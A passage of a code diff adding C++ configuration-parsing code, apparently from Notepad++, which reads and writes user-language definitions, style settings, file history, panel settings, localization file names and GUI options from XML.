(globalSettingNode->ToElement())->Attribute(TEXT("caseIgnored")); + if (boolStr) + _userLangArray[_nbUserLang - 1]->_isCaseIgnored = (lstrcmp(TEXT("yes"), boolStr) == 0); + + boolStr = (globalSettingNode->ToElement())->Attribute(TEXT("allowFoldOfComments")); + if (boolStr) + _userLangArray[_nbUserLang - 1]->_allowFoldOfComments = (lstrcmp(TEXT("yes"), boolStr) == 0); + + (globalSettingNode->ToElement())->Attribute(TEXT("forcePureLC"), &_userLangArray[_nbUserLang - 1]->_forcePureLC); + (globalSettingNode->ToElement())->Attribute(TEXT("decimalSeparator"), &_userLangArray[_nbUserLang - 1]->_decimalSeparator); + + boolStr = (globalSettingNode->ToElement())->Attribute(TEXT("foldCompact")); + if (boolStr) + _userLangArray[_nbUserLang - 1]->_foldCompact = (lstrcmp(TEXT("yes"), boolStr) == 0); + } + + TiXmlNode *prefixNode = settingsRoot->FirstChildElement(TEXT("Prefix")); + if (prefixNode) + { + const TCHAR *udlVersion = _userLangArray[_nbUserLang - 1]->_udlVersion.c_str(); + if (!lstrcmp(udlVersion, TEXT("2.1")) || !lstrcmp(udlVersion, TEXT("2.0"))) + { + for (int i = 0 ; i < SCE_USER_TOTAL_KEYWORD_GROUPS ; ++i) + { + boolStr = (prefixNode->ToElement())->Attribute(globalMappper().keywordNameMapper[i+SCE_USER_KWLIST_KEYWORDS1]); + if (boolStr) + _userLangArray[_nbUserLang - 1]->_isPrefix[i] = (lstrcmp(TEXT("yes"), boolStr) == 0); + } + } + else // support for old style (pre 2.0) + { + TCHAR names[SCE_USER_TOTAL_KEYWORD_GROUPS][7] = {TEXT("words1"), TEXT("words2"), TEXT("words3"), TEXT("words4")}; + for (int i = 0 ; i < 4 ; ++i) + { + boolStr = (prefixNode->ToElement())->Attribute(names[i]); + if (boolStr) + _userLangArray[_nbUserLang - 1]->_isPrefix[i] = (lstrcmp(TEXT("yes"), boolStr) == 0); + } + } + } +} + + +void NppParameters::feedUserKeywordList(TiXmlNode *node) +{ + const TCHAR * udlVersion = _userLangArray[_nbUserLang - 1]->_udlVersion.c_str(); + int id = -1; + + for (TiXmlNode *childNode = node->FirstChildElement(TEXT("Keywords")); + childNode ; + childNode = childNode->NextSibling(TEXT("Keywords"))) + { + const TCHAR * keywordsName = (childNode->ToElement())->Attribute(TEXT("name")); + TiXmlNode *valueNode = childNode->FirstChild(); + if (valueNode) + { + TCHAR *kwl = nullptr; + if (!lstrcmp(udlVersion, TEXT("")) && !lstrcmp(keywordsName, TEXT("Delimiters"))) // support for old style (pre 2.0) + { + basic_string temp; + kwl = (valueNode)?valueNode->Value():TEXT("000000"); + + temp += TEXT("00"); if (kwl[0] != '0') temp += kwl[0]; temp += TEXT(" 01"); + temp += TEXT(" 02"); if (kwl[3] != '0') temp += kwl[3]; + temp += TEXT(" 03"); if (kwl[1] != '0') temp += kwl[1]; temp += TEXT(" 04"); + temp += TEXT(" 05"); if (kwl[4] != '0') temp += kwl[4]; + temp += TEXT(" 06"); if (kwl[2] != '0') temp += kwl[2]; temp += TEXT(" 07"); + temp += TEXT(" 08"); if (kwl[5] != '0') temp += kwl[5]; + + temp += TEXT(" 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23"); + lstrcpy(_userLangArray[_nbUserLang - 1]->_keywordLists[SCE_USER_KWLIST_DELIMITERS], temp.c_str()); + } + else if (!lstrcmp(keywordsName, TEXT("Comment"))) + { + kwl = (valueNode)?valueNode->Value():TEXT(""); + //int len = _tcslen(kwl); + basic_string temp{TEXT(" ")}; + + temp += kwl; + size_t pos = 0; + + pos = temp.find(TEXT(" 0")); + while (pos != string::npos) + { + temp.replace(pos, 2, TEXT(" 00")); + pos = temp.find(TEXT(" 0"), pos+1); + } + pos = temp.find(TEXT(" 1")); + while (pos != string::npos) + { + temp.replace(pos, 2, TEXT(" 03")); + pos = temp.find(TEXT(" 1")); + } + pos = temp.find(TEXT(" 2")); + while (pos != string::npos) + { + temp.replace(pos, 2, TEXT(" 04")); + pos = temp.find(TEXT(" 2")); + } + + temp += TEXT(" 01 02"); + if (temp[0] == ' ') + temp.erase(0, 1); + + lstrcpy(_userLangArray[_nbUserLang - 1]->_keywordLists[SCE_USER_KWLIST_COMMENTS], temp.c_str()); + } + else + { + kwl = (valueNode)?valueNode->Value():TEXT(""); + if (globalMappper().keywordIdMapper.find(keywordsName) != globalMappper().keywordIdMapper.end()) + { + id = globalMappper().keywordIdMapper[keywordsName]; + if (_tcslen(kwl) < max_char) + { + lstrcpy(_userLangArray[_nbUserLang - 1]->_keywordLists[id], kwl); + } + else + { + lstrcpy(_userLangArray[_nbUserLang - 1]->_keywordLists[id], TEXT("imported string too long, needs to be < max_char(30720)")); + } + } + } + } + } +} + +void NppParameters::feedUserStyles(TiXmlNode *node) +{ + int id = -1; + + for (TiXmlNode *childNode = node->FirstChildElement(TEXT("WordsStyle")); + childNode ; + childNode = childNode->NextSibling(TEXT("WordsStyle"))) + { + const TCHAR *styleName = (childNode->ToElement())->Attribute(TEXT("name")); + if (styleName) + { + if (globalMappper().styleIdMapper.find(styleName) != globalMappper().styleIdMapper.end()) + { + id = globalMappper().styleIdMapper[styleName]; + _userLangArray[_nbUserLang - 1]->_styleArray.addStyler((id | L_USER << 16), childNode); + } + } + } +} + +bool NppParameters::feedStylerArray(TiXmlNode *node) +{ + TiXmlNode *styleRoot = node->FirstChildElement(TEXT("LexerStyles")); + if (!styleRoot) return false; + + // For each lexer + for (TiXmlNode *childNode = styleRoot->FirstChildElement(TEXT("LexerType")); + childNode ; + childNode = childNode->NextSibling(TEXT("LexerType")) ) + { + if (!_lexerStylerArray.hasEnoughSpace()) return false; + + TiXmlElement *element = childNode->ToElement(); + const TCHAR *lexerName = element->Attribute(TEXT("name")); + const TCHAR *lexerDesc = element->Attribute(TEXT("desc")); + const TCHAR *lexerUserExt = element->Attribute(TEXT("ext")); + const TCHAR *lexerExcluded = element->Attribute(TEXT("excluded")); + if (lexerName) + { + _lexerStylerArray.addLexerStyler(lexerName, lexerDesc, lexerUserExt, childNode); + if (lexerExcluded != NULL && (lstrcmp(lexerExcluded, TEXT("yes")) == 0)) + { + int index = getExternalLangIndexFromName(lexerName); + if (index != -1) + _nppGUI._excludedLangList.push_back(LangMenuItem((LangType)(index + L_EXTERNAL))); + } + } + } + + // The global styles for all lexers + TiXmlNode *globalStyleRoot = node->FirstChildElement(TEXT("GlobalStyles")); + if (!globalStyleRoot) return false; + + for (TiXmlNode *childNode = globalStyleRoot->FirstChildElement(TEXT("WidgetStyle")); + childNode ; + childNode = childNode->NextSibling(TEXT("WidgetStyle")) ) + { + if (!_widgetStyleArray.hasEnoughSpace()) return false; + + TiXmlElement *element = childNode->ToElement(); + const TCHAR *styleIDStr = element->Attribute(TEXT("styleID")); + + int styleID = -1; + if ((styleID = decStrVal(styleIDStr)) != -1) + { + _widgetStyleArray.addStyler(styleID, childNode); + } + } + return true; +} + +void LexerStylerArray::addLexerStyler(const TCHAR *lexerName, const TCHAR *lexerDesc, const TCHAR *lexerUserExt , TiXmlNode *lexerNode) +{ + LexerStyler & ls = _lexerStylerArray[_nbLexerStyler++]; + ls.setLexerName(lexerName); + if (lexerDesc) + ls.setLexerDesc(lexerDesc); + + if (lexerUserExt) + ls.setLexerUserExt(lexerUserExt); + + for (TiXmlNode *childNode = lexerNode->FirstChildElement(TEXT("WordsStyle")); + childNode ; + childNode = childNode->NextSibling(TEXT("WordsStyle")) ) + { + if (!ls.hasEnoughSpace()) + return; + + TiXmlElement *element = childNode->ToElement(); + const TCHAR *styleIDStr = element->Attribute(TEXT("styleID")); + + if (styleIDStr) + { + int styleID = -1; + if ((styleID = decStrVal(styleIDStr)) != -1) + { + ls.addStyler(styleID, childNode); + } + } + } +} + +void LexerStylerArray::eraseAll() +{ + + for (int i = 0 ; i < _nbLexerStyler ; ++i) + { + _lexerStylerArray[i].setNbStyler( 0 ); + } + + _nbLexerStyler = 0; +} + +void StyleArray::addStyler(int styleID, TiXmlNode *styleNode) +{ + int index = _nbStyler; + bool isUser = styleID >> 16 == L_USER; + if (isUser) + { + styleID = (styleID & 0xFFFF); + index = styleID; + if (index >= SCE_USER_STYLE_TOTAL_STYLES || _styleArray[index]._styleID != -1) + return; + } + + _styleArray[index]._styleID = styleID; + + if (styleNode) + { + TiXmlElement *element = styleNode->ToElement(); + + // TODO: translate to English + // Pour _fgColor, _bgColor : + // RGB() | (result & 0xFF000000) c'est pour le cas de -1 (0xFFFFFFFF) + // retourné par hexStrVal(str) + const TCHAR *str = element->Attribute(TEXT("name")); + if (str) + { + if (isUser) + _styleArray[index]._styleDesc = globalMappper().styleNameMapper[index].c_str(); + else + _styleArray[index]._styleDesc = str; + } + + str = element->Attribute(TEXT("fgColor")); + if (str) + { + unsigned long result = hexStrVal(str); + _styleArray[index]._fgColor = (RGB((result >> 16) & 0xFF, (result >> 8) & 0xFF, result & 0xFF)) | (result & 0xFF000000); + + } + + str = element->Attribute(TEXT("bgColor")); + if (str) + { + unsigned long result = hexStrVal(str); + _styleArray[index]._bgColor = (RGB((result >> 16) & 0xFF, (result >> 8) & 0xFF, result & 0xFF)) | (result & 0xFF000000); + } + + str = element->Attribute(TEXT("colorStyle")); + if (str) + { + _styleArray[index]._colorStyle = decStrVal(str); + } + + str = element->Attribute(TEXT("fontName")); + _styleArray[index]._fontName = str; + + str = element->Attribute(TEXT("fontStyle")); + if (str) + { + _styleArray[index]._fontStyle = decStrVal(str); + } + + str = element->Attribute(TEXT("fontSize")); + if (str) + { + _styleArray[index]._fontSize = decStrVal(str); + } + str = element->Attribute(TEXT("nesting")); + + if (str) + { + _styleArray[index]._nesting = decStrVal(str); + } + + str = element->Attribute(TEXT("keywordClass")); + if (str) + { + _styleArray[index]._keywordClass = getKwClassFromName(str); + } + + TiXmlNode *v = styleNode->FirstChild(); + if (v) + { + _styleArray[index]._keywords = new generic_string(v->Value()); + } + } + ++_nbStyler; +} + +bool NppParameters::writeRecentFileHistorySettings(int nbMaxFile) const +{ + if (not _pXmlUserDoc) return false; + + TiXmlNode *nppRoot = _pXmlUserDoc->FirstChild(TEXT("NotepadPlus")); + if (not nppRoot) + { + nppRoot = _pXmlUserDoc->InsertEndChild(TiXmlElement(TEXT("NotepadPlus"))); + } + + TiXmlNode *historyNode = nppRoot->FirstChildElement(TEXT("History")); + if (not historyNode) + { + historyNode = nppRoot->InsertEndChild(TiXmlElement(TEXT("History"))); + } + + (historyNode->ToElement())->SetAttribute(TEXT("nbMaxFile"), nbMaxFile!=-1?nbMaxFile:_nbMaxRecentFile); + (historyNode->ToElement())->SetAttribute(TEXT("inSubMenu"), _putRecentFileInSubMenu?TEXT("yes"):TEXT("no")); + (historyNode->ToElement())->SetAttribute(TEXT("customLength"), _recentFileCustomLength); + return true; +} + +bool NppParameters::writeProjectPanelsSettings() const +{ + if (!_pXmlUserDoc) return false; + + TiXmlNode *nppRoot = _pXmlUserDoc->FirstChild(TEXT("NotepadPlus")); + if (not nppRoot) + { + nppRoot = _pXmlUserDoc->InsertEndChild(TiXmlElement(TEXT("NotepadPlus"))); + } + + TiXmlNode *oldProjPanelRootNode = nppRoot->FirstChildElement(TEXT("ProjectPanels")); + if (oldProjPanelRootNode) + { + // Erase the Project Panel root + nppRoot->RemoveChild(oldProjPanelRootNode); + } + + // Create the Project Panel root + TiXmlElement projPanelRootNode{TEXT("ProjectPanels")}; + + // Add 3 Project Panel parameters + for (int32_t i = 0 ; i < 3 ; ++i) + { + TiXmlElement projPanelNode{TEXT("ProjectPanel")}; + (projPanelNode.ToElement())->SetAttribute(TEXT("id"), i); + (projPanelNode.ToElement())->SetAttribute(TEXT("workSpaceFile"), _workSpaceFilePathes[i]); + + (projPanelRootNode.ToElement())->InsertEndChild(projPanelNode); + } + + // (Re)Insert the Project Panel root + (nppRoot->ToElement())->InsertEndChild(projPanelRootNode); + return true; +} + +bool NppParameters::writeFileBrowserSettings(const vector & rootPaths, const generic_string & latestSelectedItemPath) const +{ + if (!_pXmlUserDoc) return false; + + TiXmlNode *nppRoot = _pXmlUserDoc->FirstChild(TEXT("NotepadPlus")); + if (not nppRoot) + { + nppRoot = _pXmlUserDoc->InsertEndChild(TiXmlElement(TEXT("NotepadPlus"))); + } + + TiXmlNode *oldFileBrowserRootNode = nppRoot->FirstChildElement(TEXT("FileBrowser")); + if (oldFileBrowserRootNode) + { + // Erase the file broser root + nppRoot->RemoveChild(oldFileBrowserRootNode); + } + + // Create the file browser root + TiXmlElement fileBrowserRootNode{ TEXT("FileBrowser") }; + + if (rootPaths.size() != 0) + { + fileBrowserRootNode.SetAttribute(TEXT("latestSelectedItem"), latestSelectedItemPath.c_str()); + + // add roots + size_t len = rootPaths.size(); + for (size_t i = 0; i < len; ++i) + { + TiXmlElement fbRootNode{ TEXT("root") }; + (fbRootNode.ToElement())->SetAttribute(TEXT("foldername"), rootPaths[i].c_str()); + + (fileBrowserRootNode.ToElement())->InsertEndChild(fbRootNode); + } + } + + // (Re)Insert the file browser root + (nppRoot->ToElement())->InsertEndChild(fileBrowserRootNode); + return true; +} + +bool NppParameters::writeHistory(const TCHAR *fullpath) +{ + TiXmlNode *nppRoot = _pXmlUserDoc->FirstChild(TEXT("NotepadPlus")); + if (not nppRoot) + { + nppRoot = _pXmlUserDoc->InsertEndChild(TiXmlElement(TEXT("NotepadPlus"))); + } + + TiXmlNode *historyNode = nppRoot->FirstChildElement(TEXT("History")); + if (not historyNode) + { + historyNode = nppRoot->InsertEndChild(TiXmlElement(TEXT("History"))); + } + + TiXmlElement recentFileNode(TEXT("File")); + (recentFileNode.ToElement())->SetAttribute(TEXT("filename"), fullpath); + + (historyNode->ToElement())->InsertEndChild(recentFileNode); + return true; +} + +TiXmlNode * NppParameters::getChildElementByAttribut(TiXmlNode *pere, const TCHAR *childName,\ + const TCHAR *attributName, const TCHAR *attributVal) const +{ + for (TiXmlNode *childNode = pere->FirstChildElement(childName); + childNode ; + childNode = childNode->NextSibling(childName)) + { + TiXmlElement *element = childNode->ToElement(); + const TCHAR *val = element->Attribute(attributName); + if (val) + { + if (!lstrcmp(val, attributVal)) + return childNode; + } + } + return NULL; +} + +// 2 restes : L_H, L_USER +LangType NppParameters::getLangIDFromStr(const TCHAR *langName) +{ + int lang = static_cast(L_TEXT); + for(; lang < L_EXTERNAL; ++lang) + { + const TCHAR * name = ScintillaEditView::langNames[lang].lexerName; + if (!lstrcmp(name, langName)) //found lang? + { + return (LangType)lang; + } + } + + //Cannot find language, check if its an external one + + LangType l = (LangType)lang; + if (l == L_EXTERNAL) //try find external lexer + { + int id = _pSelf->getExternalLangIndexFromName(langName); + if (id != -1) return (LangType)(id + L_EXTERNAL); + } + + return L_TEXT; +} + +generic_string NppParameters::getLocPathFromStr(const generic_string & localizationCode) +{ + if (localizationCode == TEXT("af")) + return TEXT("afrikaans.xml"); + if (localizationCode == TEXT("sq")) + return TEXT("albanian.xml"); + if (localizationCode == TEXT("ar") || localizationCode == TEXT("ar-dz") || localizationCode == TEXT("ar-bh") || localizationCode == TEXT("ar-eg") ||localizationCode == TEXT("ar-iq") || localizationCode == TEXT("ar-jo") || localizationCode == TEXT("ar-kw") || localizationCode == TEXT("ar-lb") || localizationCode == TEXT("ar-ly") || localizationCode == TEXT("ar-ma") || localizationCode == TEXT("ar-om") || localizationCode == TEXT("ar-qa") || localizationCode == TEXT("ar-sa") || localizationCode == TEXT("ar-sy") || localizationCode == TEXT("ar-tn") || localizationCode == TEXT("ar-ae") || localizationCode == TEXT("ar-ye")) + return TEXT("arabic.xml"); + if (localizationCode == TEXT("an")) + return TEXT("aragonese.xml"); + if (localizationCode == TEXT("az")) + return TEXT("azerbaijani.xml"); + if (localizationCode == TEXT("eu")) + return TEXT("basque.xml"); + if (localizationCode == TEXT("be")) + return TEXT("belarusian.xml"); + if (localizationCode == TEXT("bn")) + return TEXT("bengali.xml"); + if (localizationCode == TEXT("bs")) + return TEXT("bosnian.xml"); + if (localizationCode == TEXT("pt-br")) + return TEXT("brazilian_portuguese.xml"); + if (localizationCode == TEXT("bg")) + return TEXT("bulgarian.xml"); + if (localizationCode == TEXT("ca")) + return TEXT("catalan.xml"); + if (localizationCode == TEXT("zh-tw") || localizationCode == TEXT("zh-hk") || localizationCode == TEXT("zh-sg")) + return TEXT("chinese.xml"); + if (localizationCode == TEXT("zh") || localizationCode == TEXT("zh-cn")) + return TEXT("chineseSimplified.xml"); + if (localizationCode == TEXT("co") || localizationCode == TEXT("co-fr")) + return TEXT("corsican.xml"); + if (localizationCode == TEXT("hr")) + return TEXT("croatian.xml"); + if (localizationCode == TEXT("cs")) + return TEXT("czech.xml"); + if (localizationCode == TEXT("da")) + return TEXT("danish.xml"); + if (localizationCode == TEXT("nl") || localizationCode == TEXT("nl-be")) + return TEXT("dutch.xml"); + if (localizationCode == TEXT("eo")) + return TEXT("esperanto.xml"); + if (localizationCode == TEXT("fa")) + return TEXT("farsi.xml"); + if (localizationCode == TEXT("fi")) + return TEXT("finnish.xml"); + if (localizationCode == TEXT("fr") || localizationCode == TEXT("fr-be") || localizationCode == TEXT("fr-ca") || localizationCode == TEXT("fr-fr") || localizationCode == TEXT("fr-lu") || localizationCode == TEXT("fr-mc") || localizationCode == TEXT("fr-ch")) + return TEXT("french.xml"); + if (localizationCode == TEXT("fur")) + return TEXT("friulian.xml"); + if (localizationCode == TEXT("gl")) + return TEXT("galician.xml"); + if (localizationCode == TEXT("ka")) + return TEXT("georgian.xml"); + if (localizationCode == TEXT("de") || localizationCode == TEXT("de-at") || localizationCode == TEXT("de-de") || localizationCode == TEXT("de-li") || localizationCode == TEXT("de-lu") || localizationCode == TEXT("de-ch")) + return TEXT("german.xml"); + if (localizationCode == TEXT("el")) + return TEXT("greek.xml"); + if (localizationCode == TEXT("he")) + return TEXT("hebrew.xml"); + if (localizationCode == TEXT("hi")) + return TEXT("hindi.xml"); + if (localizationCode == TEXT("hu")) + return TEXT("hungarian.xml"); + if (localizationCode == TEXT("id")) + return TEXT("indonesian.xml"); + if (localizationCode == TEXT("it") || localizationCode == TEXT("it-ch")) + return TEXT("italian.xml"); + if (localizationCode == TEXT("ja")) + return TEXT("japanese.xml"); + if (localizationCode == TEXT("kk")) + return TEXT("kazakh.xml"); + if (localizationCode == TEXT("ko") || localizationCode == TEXT("ko-kp") || localizationCode == TEXT("ko-kr")) + return TEXT("korean.xml"); + if (localizationCode == TEXT("ky")) + return TEXT("kyrgyz.xml"); + if (localizationCode == TEXT("lv")) + return TEXT("latvian.xml"); + if (localizationCode == TEXT("lt")) + return TEXT("lithuanian.xml"); + if (localizationCode == TEXT("lb")) + return TEXT("luxembourgish.xml"); + if (localizationCode == TEXT("mk")) + return TEXT("macedonian.xml"); + if (localizationCode == TEXT("ms")) + return TEXT("malay.xml"); + if (localizationCode == TEXT("no") || localizationCode == TEXT("nb")) + return TEXT("norwegian.xml"); + if (localizationCode == TEXT("nn")) + return TEXT("nynorsk.xml"); + if (localizationCode == TEXT("oc")) + return TEXT("occitan.xml"); + if (localizationCode == TEXT("pl")) + return TEXT("polish.xml"); + if (localizationCode == TEXT("pt")) + return TEXT("portuguese.xml"); + if (localizationCode == TEXT("ro") || localizationCode == TEXT("ro-mo")) + return TEXT("romanian.xml"); + if (localizationCode == TEXT("ru") || localizationCode == TEXT("ru-mo")) + return TEXT("russian.xml"); + if (localizationCode == TEXT("sc")) + return TEXT("sardinian.xml"); + if (localizationCode == TEXT("sr")) + return TEXT("serbian.xml"); + if (localizationCode == TEXT("si")) + return TEXT("sinhala.xml"); + if (localizationCode == TEXT("sk")) + return TEXT("slovak.xml"); + if (localizationCode == TEXT("sl")) + return TEXT("slovenian.xml"); + if (localizationCode == TEXT("es") || localizationCode == TEXT("es-bo") || localizationCode == TEXT("es-cl") || localizationCode == TEXT("es-co") || localizationCode == TEXT("es-cr") || localizationCode == TEXT("es-do") || localizationCode == TEXT("es-ec") || localizationCode == TEXT("es-sv") || localizationCode == TEXT("es-gt") || localizationCode == TEXT("es-hn") || localizationCode == TEXT("es-mx") || localizationCode == TEXT("es-ni") || localizationCode == TEXT("es-pa") || localizationCode == TEXT("es-py") || localizationCode == TEXT("es-pe") || localizationCode == TEXT("es-pr") || localizationCode == TEXT("es-es") || localizationCode == TEXT("es-uy") || localizationCode == TEXT("es-ve")) + return TEXT("spanish.xml"); + if (localizationCode == TEXT("es-ar")) + return TEXT("spanish_ar.xml"); + if (localizationCode == TEXT("sv")) + return TEXT("swedish.xml"); + if (localizationCode == TEXT("tl")) + return TEXT("tagalog.xml"); + if (localizationCode == TEXT("ta")) + return TEXT("tamil.xml"); + if (localizationCode == TEXT("te")) + return TEXT("telugu.xml"); + if (localizationCode == TEXT("th")) + return TEXT("thai.xml"); + if (localizationCode == TEXT("tr")) + return TEXT("turkish.xml"); + if (localizationCode == TEXT("uk")) + return TEXT("ukrainian.xml"); + if (localizationCode == TEXT("uz")) + return TEXT("uzbek.xml"); + + return generic_string(); +} + + +void NppParameters::feedKeyWordsParameters(TiXmlNode *node) +{ + TiXmlNode *langRoot = node->FirstChildElement(TEXT("Languages")); + if (!langRoot) + return; + + for (TiXmlNode *langNode = langRoot->FirstChildElement(TEXT("Language")); + langNode ; + langNode = langNode->NextSibling(TEXT("Language")) ) + { + if (_nbLang < NB_LANG) + { + TiXmlElement* element = langNode->ToElement(); + const TCHAR* name = element->Attribute(TEXT("name")); + if (name) + { + _langList[_nbLang] = new Lang(getLangIDFromStr(name), name); + _langList[_nbLang]->setDefaultExtList(element->Attribute(TEXT("ext"))); + _langList[_nbLang]->setCommentLineSymbol(element->Attribute(TEXT("commentLine"))); + _langList[_nbLang]->setCommentStart(element->Attribute(TEXT("commentStart"))); + _langList[_nbLang]->setCommentEnd(element->Attribute(TEXT("commentEnd"))); + + int tabSettings; + if (element->Attribute(TEXT("tabSettings"), &tabSettings)) + _langList[_nbLang]->setTabInfo(tabSettings); + + for (TiXmlNode *kwNode = langNode->FirstChildElement(TEXT("Keywords")); + kwNode ; + kwNode = kwNode->NextSibling(TEXT("Keywords")) ) + { + const TCHAR *indexName = (kwNode->ToElement())->Attribute(TEXT("name")); + TiXmlNode *kwVal = kwNode->FirstChild(); + const TCHAR *keyWords = TEXT(""); + if ((indexName) && (kwVal)) + keyWords = kwVal->Value(); + + int i = getKwClassFromName(indexName); + + if (i >= 0 && i <= KEYWORDSET_MAX) + _langList[_nbLang]->setWords(keyWords, i); + } + ++_nbLang; + } + } + } +} + +extern "C" { +typedef DWORD (WINAPI * EESFUNC) (LPCTSTR, LPTSTR, DWORD); +} + +void NppParameters::feedGUIParameters(TiXmlNode *node) +{ + TiXmlNode *GUIRoot = node->FirstChildElement(TEXT("GUIConfigs")); + if (nullptr == GUIRoot) + return; + + for (TiXmlNode *childNode = GUIRoot->FirstChildElement(TEXT("GUIConfig")); + childNode ; + childNode = childNode->NextSibling(TEXT("GUIConfig")) ) + { + TiXmlElement* element = childNode->ToElement(); + const TCHAR* nm = element->Attribute(TEXT("name")); + if (nullptr == nm) + continue; + + if (!lstrcmp(nm, TEXT("ToolBar"))) + { + const TCHAR* val = element->Attribute(TEXT("visible")); + if (val) + { + if (!lstrcmp(val, TEXT("no"))) + _nppGUI._toolbarShow = false; + else// if (!lstrcmp(val, TEXT("yes"))) + _nppGUI._toolbarShow = true; + } + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + val = n->Value(); + if (val) + { + if (!lstrcmp(val, TEXT("small"))) + _nppGUI._toolBarStatus = TB_SMALL; + else if (!lstrcmp(val, TEXT("large"))) + _nppGUI._toolBarStatus = TB_LARGE; + else// if (!lstrcmp(val, TEXT("standard"))) //assume standard in all other cases + _nppGUI._toolBarStatus = TB_STANDARD; + } + } + } + else if (!lstrcmp(nm, TEXT("StatusBar"))) + { + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + const TCHAR* val = n->Value(); + if (val) + { + if (!lstrcmp(val, TEXT("hide"))) + _nppGUI._statusBarShow = false; + else if (!lstrcmp(val, TEXT("show"))) + _nppGUI._statusBarShow = true; + } + } + } + else if (!lstrcmp(nm, TEXT("MenuBar"))) + { + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + const TCHAR* val = n->Value(); + if (val) + { + if (!lstrcmp(val, TEXT("hide"))) + _nppGUI._menuBarShow = false; + else if (!lstrcmp(val, TEXT("show"))) + _nppGUI._menuBarShow = true; + } + } + } + else if (!lstrcmp(nm, TEXT("TabBar"))) + { + bool isFailed = false; + int oldValue = _nppGUI._tabStatus; + const TCHAR* val = element->Attribute(TEXT("dragAndDrop")); + if (val) + { + if (!lstrcmp(val, TEXT("yes"))) + _nppGUI._tabStatus = TAB_DRAGNDROP; + else if (!lstrcmp(val, TEXT("no"))) + _nppGUI._tabStatus = 0; + else + isFailed = true; + } + + val = element->Attribute(TEXT("drawTopBar")); + if (val) + { + if (!lstrcmp(val, TEXT("yes"))) + _nppGUI._tabStatus |= TAB_DRAWTOPBAR; + else if (!lstrcmp(val, TEXT("no"))) + _nppGUI._tabStatus |= 0; + else + isFailed = true; + } + + val = element->Attribute(TEXT("drawInactiveTab")); + if (val) + { + if (!lstrcmp(val, TEXT("yes"))) + _nppGUI._tabStatus |= TAB_DRAWINACTIVETAB; + else if (!lstrcmp(val, TEXT("no"))) + _nppGUI._tabStatus |= 0; + else + isFailed = true; + } + + val = element->Attribute(TEXT("reduce")); + if (val) + { + if (!lstrcmp(val, TEXT("yes"))) + _nppGUI._tabStatus |= TAB_REDUCE; + else if (!lstrcmp(val, TEXT("no"))) + _nppGUI._tabStatus |= 0; + else + isFailed = true; + } + + val = element->Attribute(TEXT("closeButton")); + if (val) + { + if (!lstrcmp(val, TEXT("yes"))) + _nppGUI._tabStatus |= TAB_CLOSEBUTTON; + else if (!lstrcmp(val, TEXT("no"))) + _nppGUI._tabStatus |= 0; + else + isFailed = true; + } + + val = element->Attribute(TEXT("doubleClick2Close")); + if (val) + { + if (!lstrcmp(val, TEXT("yes"))) + _nppGUI._tabStatus |= TAB_DBCLK2CLOSE; + else if (!lstrcmp(val, TEXT("no"))) + _nppGUI._tabStatus |= 0; + else + isFailed = true; + } + val = element->Attribute(TEXT("vertical")); + if (val) + { + if (!lstrcmp(val, TEXT("yes"))) + _nppGUI._tabStatus |= TAB_VERTICAL; + else if (!lstrcmp(val, TEXT("no"))) + _nppGUI._tabStatus |= 0; + else + isFailed = true; + } + + val = element->Attribute(TEXT("multiLine")); + if (val) + { + if (!lstrcmp(val, TEXT("yes"))) + _nppGUI._tabStatus |= TAB_MULTILINE; + else if (!lstrcmp(val, TEXT("no"))) + _nppGUI._tabStatus |= 0; + else + isFailed = true; + } + + val = element->Attribute(TEXT("hide")); + if (val) + { + if (!lstrcmp(val, TEXT("yes"))) + _nppGUI._tabStatus |= TAB_HIDE; + else if (!lstrcmp(val, TEXT("no"))) + _nppGUI._tabStatus |= 0; + else + isFailed = true; + } + + val = element->Attribute(TEXT("quitOnEmpty")); + if (val) + { + if (!lstrcmp(val, TEXT("yes"))) + _nppGUI._tabStatus |= TAB_QUITONEMPTY; + else if (!lstrcmp(val, TEXT("no"))) + _nppGUI._tabStatus |= 0; + else + isFailed = true; + } + if (isFailed) + _nppGUI._tabStatus = oldValue; + + + } + else if (!lstrcmp(nm, TEXT("Auto-detection"))) + { + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + const TCHAR* val = n->Value(); + if (val) + { + if (!lstrcmp(val, TEXT("yes"))) + _nppGUI._fileAutoDetection = cdEnabled; + else if (!lstrcmp(val, TEXT("auto"))) + _nppGUI._fileAutoDetection = cdAutoUpdate; + else if (!lstrcmp(val, TEXT("Update2End"))) + _nppGUI._fileAutoDetection = cdGo2end; + else if (!lstrcmp(val, TEXT("autoUpdate2End"))) + _nppGUI._fileAutoDetection = cdAutoUpdateGo2end; + else //(!lstrcmp(val, TEXT("no"))) + _nppGUI._fileAutoDetection = cdDisabled; + + _nppGUI._fileAutoDetectionOriginalValue = _nppGUI._fileAutoDetection; + } + } + } + + else if (!lstrcmp(nm, TEXT("TrayIcon"))) + { + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + const TCHAR* val = n->Value(); + if (val) + { + _nppGUI._isMinimizedToTray = (lstrcmp(val, TEXT("yes")) == 0); + } + } + } + else if (!lstrcmp(nm, TEXT("RememberLastSession"))) + { + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + const TCHAR* val = n->Value(); + if (val) + { + if (lstrcmp(val, TEXT("yes")) == 0) + _nppGUI._rememberLastSession = true; + else + _nppGUI._rememberLastSession = false; + } + } + } + else if (!lstrcmp(nm, TEXT("DetectEncoding"))) + { + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + const TCHAR* val = n->Value(); + if (val) + { + if (lstrcmp(val, TEXT("yes")) == 0) + _nppGUI._detectEncoding = true; + else + _nppGUI._detectEncoding = false; + } + } + } + else if (lstrcmp(nm, TEXT("MaitainIndent")) == 0) + { + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + const TCHAR* val = n->Value(); + if (val) + { + if (lstrcmp(val, TEXT("yes")) == 0) + _nppGUI._maitainIndent = true; + else + _nppGUI._maitainIndent = false; + } + } + } + // yes + else if (!lstrcmp(nm, TEXT("SmartHighLight"))) + { + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + const TCHAR* val = n->Value(); + if (val) + { + if (lstrcmp(val, TEXT("yes")) == 0) + _nppGUI._enableSmartHilite = true; + else + _nppGUI._enableSmartHilite = false; + } + + val = element->Attribute(TEXT("matchCase")); + if (val) + { + if (lstrcmp(val, TEXT("yes")) == 0) + _nppGUI._smartHiliteCaseSensitive = true; + else if (!lstrcmp(val, TEXT("no"))) + _nppGUI._smartHiliteCaseSensitive = 